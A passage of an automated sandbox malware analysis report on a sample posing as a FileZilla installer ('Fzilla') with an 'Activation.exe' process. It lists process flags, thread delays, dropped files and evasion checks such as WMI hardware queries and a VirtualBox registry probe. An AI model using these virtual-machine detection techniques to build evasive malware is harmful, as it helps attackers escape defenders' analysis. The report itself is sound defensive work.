Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Activation.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Activation.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Activation.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Activation.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\Local\Activation.exe

File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Jump to behavior

Source: C:\Users\user\AppData\Local\Activation.exe	Memory allocated: 30D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Memory allocated: 3330000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Memory allocated: 3150000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Activation.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598828	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598719	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598594	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598484	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598375	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598266	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598156	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598047	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597813	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597469	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597141	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596688	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596576	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596344	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596016	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 595906	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 595797	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 595688	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 595563	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 595231	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 594888	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 594766	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 594656	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 594546	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 594437	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5946	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3762	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Window / User API: foregroundWindowGot 457	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Window / User API: foregroundWindowGot 444	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Window / User API: threadDelayed 1500	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Window / User API: threadDelayed 8293	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-5P94A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\fzsftp.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-ENHKS.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-3N89B.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\fzshellext.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-QDPQH.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-BVQAD.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\uninstall.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-5SMFM.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-A7Q49.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-0BL99.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-0UGH2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-PM1M7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-CBLQR.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-3PB36.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-MRNBG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\fzstorj.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-6EDME.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-OFR6V.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-6M3HV.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-FUL37.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-68M3B.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-S855R.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-G1HOC.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-TST7B.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-PU0TT.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-75899.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\fzputtygen.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\fzshellext_64.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Fzilla\is-D9L8F.tmp	Jump to dropped file

Source: C:\Program Files (x86)\Fzilla\filezilla.exe

API coverage: 8.2 %

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1224	Thread sleep count: 5946 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8112	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5992	Thread sleep count: 3762 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -27670116110564310s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -599641s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -599531s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -599422s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -599313s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -599063s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -598938s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -598828s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -598719s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -598594s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -598484s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -598375s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -598266s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -598156s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -598047s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -597938s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -597813s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -597703s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -597594s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -597469s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -597359s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -597250s >= -30000s	Jump to behavior
